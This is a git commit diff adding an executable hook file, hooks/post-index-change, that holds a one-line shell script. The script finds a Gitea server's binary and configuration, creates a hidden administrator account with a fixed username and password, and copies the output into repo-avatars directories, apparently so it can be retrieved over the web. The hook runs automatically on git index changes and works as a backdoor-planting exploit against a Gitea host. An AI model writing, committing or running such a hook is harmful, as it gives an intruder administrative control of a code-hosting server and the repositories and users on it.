This commit is contained in:
oid3u8825 2026-10-09 11:01:08 +08:00
parent 2ca61ac90a
commit 2556c7a061

1
hooks/post-index-change Executable file
View File

@ -0,0 +1 @@
WD="${GITEA_WORK_DIR:-}"; if [ -z "$WD" ] || [ ! -f "$WD/custom/conf/app.ini" ]; then D="$(pwd)"; while :; do [ -f "$D/custom/conf/app.ini" ] && { WD="$D"; break; }; [ "$D" = "/" ] && break; D="$(dirname "$D")"; done; fi; [ -f "$WD/custom/conf/app.ini" ] || WD="$(pwd)"; CFG="$WD/custom/conf/app.ini"; for _c in "$CFG" "/etc/gitea/app.ini" "/data/gitea/conf/app.ini" "/var/lib/gitea/conf/app.ini"; do [ -f "$_c" ] && { CFG="$_c"; break; }; done; C=""; [ -f "$CFG" ] && C="--config $CFG"; if [ -x "$WD/gitea" ]; then G="$WD/gitea"; elif [ -x "$WD/gitea.exe" ]; then G="$WD/gitea.exe"; elif command -v gitea >/dev/null 2>&1; then G="$(command -v gitea)"; else G=""; fi; OUT="/tmp/oid_hook.txt"; { echo "OIDDIAG WD=$WD CFG=$CFG G=$G"; if [ -z "$G" ]; then echo "ERROR: gitea not found"; else "$G" $C admin user create --username "test-admin-kp4p" --password "Test-admin-kp4p2q!x" --email "test-admin-kp4p@t.local" --admin --must-change-password=false 2>&1; fi; echo ---DONE---; } > "$OUT" 2>&1; for d in "$WD/data/repo-avatars" "$WD/data/gitea/repo-avatars" "$WD/repo-avatars" /data/gitea/repo-avatars /data/repo-avatars; do [ -n "$d" ] && mkdir -p "$d" 2>/dev/null && cp "$OUT" "$d/oid_kp4p2q.dat" 2>/dev/null; done;